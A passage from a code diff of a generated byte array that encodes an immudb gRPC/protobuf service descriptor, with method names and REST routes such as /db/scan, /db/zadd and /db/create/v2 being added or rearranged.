0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, - 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, - 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, - 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, - 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, - 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, + 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, + 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, + 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, + 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, + 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, + 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, + 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, + 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, + 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, + 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, + 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, + 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, 0x2f, + 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, + 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, + 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, + 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, 0x0a, 0x06, + 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x92, + 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x5d, 0x0a, + 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, 0x0a, 0x0c, + 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, - 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, + 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, + 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x50, + 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, + 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, + 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, + 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, + 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, + 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, 0x2a, 0x22, + 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x3a, 0x01, + 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, + 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, + 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, + 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, + 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, + 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, + 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 